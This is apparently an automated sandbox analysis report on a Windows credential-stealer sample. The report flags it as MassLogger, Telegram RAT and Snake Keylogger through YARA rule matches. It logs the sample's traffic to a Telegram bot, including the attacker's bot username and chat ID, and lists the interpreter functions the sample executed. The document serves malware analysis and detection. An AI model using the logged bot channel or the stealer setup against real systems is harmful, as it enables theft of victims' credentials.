2025-01-10 17:30:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 17:30:25 GMT Content-Type: application/json Content-Length: 560 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 17:30:25 UTC	560	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 35 34 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 30 38 36 36 32 37 37 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 4f 56 41 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 6e 6f 76 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 38 33 39 38 32 39 34 37 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 6b 77 61 6e 64 61 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 69 67 34 6d 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 30 32 32 35 2c 22 64 6f 63 75 Data Ascii: {"ok":true,"result":{"message_id":95497,"from":{"id":7708662779,"is_bot":true,"first_name":"NOVA","username":"Skullsnovabot"},"chat":{"id":5839829477,"first_name":"Makwanda","last_name":"Skulls","username":"Big4m","type":"private"},"date":1736530225,"docu

Target ID:	2
Start time:	12:30:00
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\MzqLQjCwrw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MzqLQjCwrw.exe"
Imagebase:	0x1f0000
File size:	956'416 bytes
MD5 hash:	5525E92284B32082E959D9D4F58F44D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:30:01
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MzqLQjCwrw.exe"
Imagebase:	0xc90000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	6.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	163

Executed Functions

Function 001F3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 001F3B68
IsDebuggerPresent.KERNEL32 ref: 001F3B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,002B52F8,002B52E0,?,?), ref: 001F3BEB

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

Part of subcall function 0020092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,001F3C14,002B52F8,?,?,?), ref: 0020096E

SetCurrentDirectoryW.KERNEL32(?), ref: 001F3C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,002A7770,00000010), ref: 0022D281
SetCurrentDirectoryW.KERNEL32(?,002B52F8,?,?,?), ref: 0022D2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,002A4260,002B52F8,?,?,?), ref: 0022D33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 0022D346

Part of subcall function 001F3A46: GetSysColorBrush.USER32(0000000F), ref: 001F3A50
Part of subcall function 001F3A46: LoadCursorW.USER32(00000000,00007F00), ref: 001F3A5F
Part of subcall function 001F3A46: LoadIconW.USER32(00000063), ref: 001F3A76
Part of subcall function 001F3A46: LoadIconW.USER32(000000A4), ref: 001F3A88
Part of subcall function 001F3A46: LoadIconW.USER32(000000A2), ref: 001F3A9A
Part of subcall function 001F3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001F3AC0
Part of subcall function 001F3A46: RegisterClassExW.USER32(?), ref: 001F3B16

Part of subcall function 001F39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 001F3A03
Part of subcall function 001F39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 001F3A24
Part of subcall function 001F39D5: ShowWindow.USER32(00000000,?,?), ref: 001F3A38
Part of subcall function 001F39D5: ShowWindow.USER32(00000000,?,?), ref: 001F3A41

Part of subcall function 001F434A: _memset.LIBCMT ref: 001F4370
Part of subcall function 001F434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 001F4415

Strings

This is a third-party compiled AutoIt script., xrefs: 0022D279
runas, xrefs: 0022D33A
%(, xrefs: 001F3C44

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%(
API String ID: 529118366-2650040335
Opcode ID: 58fd89bbd890ee070e9d97860e9783ded9451669ba885cf6918e9bf93d48da01
Instruction ID: 3df48f17a7dbf6f18d4c32be5119e86f0dedcad8b2fc30cb82dca78f8c035662
Opcode Fuzzy Hash: 58fd89bbd890ee070e9d97860e9783ded9451669ba885cf6918e9bf93d48da01
Instruction Fuzzy Hash: 7851027090925CAADF05EBB4FC1AFFD7B78AF15740F004166FA25AA1A2CB705A51CB20

Function 001F49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 001F49CD

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

GetCurrentProcess.KERNEL32(?,0027FAEC,00000000,00000000,?), ref: 001F4A9A
IsWow64Process.KERNEL32(00000000), ref: 001F4AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 001F4AE7
FreeLibrary.KERNEL32(00000000), ref: 001F4AF2
GetSystemInfo.KERNEL32(00000000), ref: 001F4B23
GetSystemInfo.KERNEL32(00000000), ref: 001F4B2F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 26bdb400605e1d2277d01c3794515d233289d9e909351024837fcffa2eb886dd
Instruction ID: 26a7331e6e0edf5a2e33c71ca9be0dbf5b5eba0d5da8110f4d4726293335fa86
Opcode Fuzzy Hash: 26bdb400605e1d2277d01c3794515d233289d9e909351024837fcffa2eb886dd
Instruction Fuzzy Hash: 3191E23598DBC5DBC731CBA895501BBFFF5AF2A300B4449ADD1CB83A42D320A948C75A

Function 001F4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,001F4D8E,?,?,00000000,00000000), ref: 001F4E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,001F4D8E,?,?,00000000,00000000), ref: 001F4EB0
LoadResource.KERNEL32(?,00000000,?,?,001F4D8E,?,?,00000000,00000000,?,?,?,?,?,?,001F4E2F), ref: 0022D937
SizeofResource.KERNEL32(?,00000000,?,?,001F4D8E,?,?,00000000,00000000,?,?,?,?,?,?,001F4E2F), ref: 0022D94C
LockResource.KERNEL32(001F4D8E,?,?,001F4D8E,?,?,00000000,00000000,?,?,?,?,?,?,001F4E2F,00000000), ref: 0022D95F

Strings

SCRIPT, xrefs: 001F4EA6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 618d6224195ecdaaa696fa1bb8b505fddb84efe2a468ff00527ba376f8cba980
Instruction ID: d8d7163d3efdc90ac00b10c62ed52220dc9499dc557549cb54d32e7788ac1928
Opcode Fuzzy Hash: 618d6224195ecdaaa696fa1bb8b505fddb84efe2a468ff00527ba376f8cba980
Instruction Fuzzy Hash: D4115E75244705BFD7218B65ED48F677BBAFBC5B11F204268FA0986251DB71EC40C660

Function 001FE6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00233E62
Dd+, xrefs: 00233B2E
Dd+, xrefs: 00233AF5
Dd+, xrefs: 001FEAC1
Dd+, xrefs: 001FEABA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID: Dd+$Dd+$Dd+$Dd+$Variable must be of type 'Object'.
API String ID: 0-1814616214
Opcode ID: a815f3eb7d14693c4c0cce87a76f59f484fa0a5cc68a4395d34de7d7e014c23c
Instruction ID: 900011b8cd5345471b7bc0c4aba205883f39917b45e126b06ec2c744c15d7b91
Opcode Fuzzy Hash: a815f3eb7d14693c4c0cce87a76f59f484fa0a5cc68a4395d34de7d7e014c23c
Instruction Fuzzy Hash: F2A28D75A00209CFCB28CF58C484ABAB7F2FF59314F258159EA059B361D775ED82CB90

Function 0025445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0022E398), ref: 0025446A
FindFirstFileW.KERNELBASE(?,?), ref: 0025447B
FindClose.KERNEL32(00000000), ref: 0025448B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 3add6d1a38210e3862dd74de3694e39abe138ad18f2c1d2c79084440afb0a468
Instruction ID: 1d52020eaa0c5e54475443f21f24501cfb1717e929f64c58c0846c83296d9133
Opcode Fuzzy Hash: 3add6d1a38210e3862dd74de3694e39abe138ad18f2c1d2c79084440afb0a468
Instruction Fuzzy Hash: 4CE0D8334285416742107B38FC0D4E9B75CAF0533AF100715FC39C10D0E7B459949699

Function 002009D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00200A5B
timeGetTime.WINMM ref: 00200D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00200E53
Sleep.KERNEL32(0000000A), ref: 00200E61
LockWindowUpdate.USER32(00000000,?,?), ref: 00200EFA
DestroyWindow.USER32 ref: 00200F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00200F20
Sleep.KERNEL32(0000000A,?,?), ref: 00234E83
TranslateMessage.USER32(?), ref: 00235C60
DispatchMessageW.USER32(?), ref: 00235C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00235C82

Strings

pb+, xrefs: 00234FAE
@COM_EVENTOBJ, xrefs: 002354F0
@TRAY_ID, xrefs: 0023578F
@GUI_WINHANDLE, xrefs: 00234F8F
pb+, xrefs: 002357B4
pb+, xrefs: 00235003
@GUI_CTRLID, xrefs: 00234F3A
pb+, xrefs: 00234F59
@GUI_CTRLHANDLE, xrefs: 00234FE4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pb+$pb+$pb+$pb+
API String ID: 4212290369-4090357969
Opcode ID: 78f70abc31ec7e5cd8c84d639c0ea994ae4a66d9cc0260d14a9a6844417494b2
Instruction ID: 9a2a59865f0b10afa78a2fcbedadbcc5bfe8b67f218655776331e674bfaed3ca
Opcode Fuzzy Hash: 78f70abc31ec7e5cd8c84d639c0ea994ae4a66d9cc0260d14a9a6844417494b2
Instruction Fuzzy Hash: F5B2D7B0628752DFE728DF24C884BAAB7E5BF84304F14491DF59D97291CB70E8A4CB52

Function 00259155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00258F5F: __time64.LIBCMT ref: 00258F69

Part of subcall function 001F4EE5: _fseek.LIBCMT ref: 001F4EFD

__wsplitpath.LIBCMT ref: 00259234

Part of subcall function 002140FB: __wsplitpath_helper.LIBCMT ref: 0021413B

_wcscpy.LIBCMT ref: 00259247
_wcscat.LIBCMT ref: 0025925A
__wsplitpath.LIBCMT ref: 0025927F
_wcscat.LIBCMT ref: 00259295
_wcscat.LIBCMT ref: 002592A8

Part of subcall function 00258FA5: _memmove.LIBCMT ref: 00258FDE
Part of subcall function 00258FA5: _memmove.LIBCMT ref: 00258FED

_wcscmp.LIBCMT ref: 002591EF

Part of subcall function 00259734: _wcscmp.LIBCMT ref: 00259824
Part of subcall function 00259734: _wcscmp.LIBCMT ref: 00259837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00259452
_wcsncpy.LIBCMT ref: 002594C5
DeleteFileW.KERNEL32(?,?), ref: 002594FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00259511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00259522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00259534

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: e5abeaf048170d6511654bb47245512e6a2f145e0bfad260f7a518d97dc0131f
Instruction ID: e6c836e9338b6d28961ebab96fabbce6b3c0948bfa4bab4e9c95a87da3e8c3cc
Opcode Fuzzy Hash: e5abeaf048170d6511654bb47245512e6a2f145e0bfad260f7a518d97dc0131f
Instruction Fuzzy Hash: 36C15DB1D10219ABDF21DF95CC85AEEB7BDEF55300F0040A6FA09E6141EB709A988F65

Function 001F301C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001F3074
RegisterClassExW.USER32(00000030), ref: 001F309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 001F30AF
InitCommonControlsEx.COMCTL32(?), ref: 001F30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001F30DC
LoadIconW.USER32(000000A9), ref: 001F30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001F3101

Strings

+, xrefs: 001F305D
0, xrefs: 001F3056
AutoIt v3 GUI, xrefs: 001F3090
TaskbarCreated, xrefs: 001F30A4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: fe0d173420a65743d50a9360a07d71a0c595ea4f67cbc572d74425d7e1461682
Instruction ID: 84369f899f8bdb8c3253035041e218e76e8cb4e54602afe9280ee4c9e0218704
Opcode Fuzzy Hash: fe0d173420a65743d50a9360a07d71a0c595ea4f67cbc572d74425d7e1461682
Instruction Fuzzy Hash: 05315871845319EFDB808FA4E949BD9BFF0FF09320F14426AE584EA2A0D3B50585CF50

Function 001F3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001F3074
RegisterClassExW.USER32(00000030), ref: 001F309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 001F30AF
InitCommonControlsEx.COMCTL32(?), ref: 001F30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001F30DC
LoadIconW.USER32(000000A9), ref: 001F30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001F3101

Strings

+, xrefs: 001F305D
0, xrefs: 001F3056
AutoIt v3 GUI, xrefs: 001F3090
TaskbarCreated, xrefs: 001F30A4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: b865feced15740451077e276699618270b57812bede944bd7b819425e5f1c000
Instruction ID: 5ac3ae5db7e247c104bad203ce6882eeb2520e7c6e41799873d91955de147350
Opcode Fuzzy Hash: b865feced15740451077e276699618270b57812bede944bd7b819425e5f1c000
Instruction Fuzzy Hash: 2221F7B1955218AFDB40DFA4FD4DB9DBBF4FB08700F00422AF914AA2A0D7B14584CF91

Function 001F708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001F4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,002B52F8,?,001F37AE,?), ref: 001F4724

Part of subcall function 0021050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,001F7165), ref: 0021052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 001F71A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0022E8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0022E909
RegCloseKey.ADVAPI32(?), ref: 0022E947
_wcscat.LIBCMT ref: 0022E9A0

Strings

Software\AutoIt v3\AutoIt, xrefs: 001F719E
Include, xrefs: 0022E8BF, 0022E900
\Include\, xrefs: 001F7165
\, xrefs: 0022E9C3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: ed44fbce2e5081addcdc727e2daedf3f1ef1e1454ab28ec4f282b6a40b362fcc
Instruction ID: 5b6c8d9ec08226def91c47ef23b3fde38b8a5e7fed7735df41fcc0c0531f26ea
Opcode Fuzzy Hash: ed44fbce2e5081addcdc727e2daedf3f1ef1e1454ab28ec4f282b6a40b362fcc
Instruction Fuzzy Hash: 4A71BF71018305AED704EF65FC899ABBBE8FF98310F40062EF944872A0DB759998CB52

Function 001F3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 001F36D2
KillTimer.USER32(?,00000001), ref: 001F36FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 001F371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 001F372A
CreatePopupMenu.USER32 ref: 001F373E
PostQuitMessage.USER32(00000000), ref: 001F374D

Strings

TaskbarCreated, xrefs: 001F3725
%(, xrefs: 0022D081, 0022D0CF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
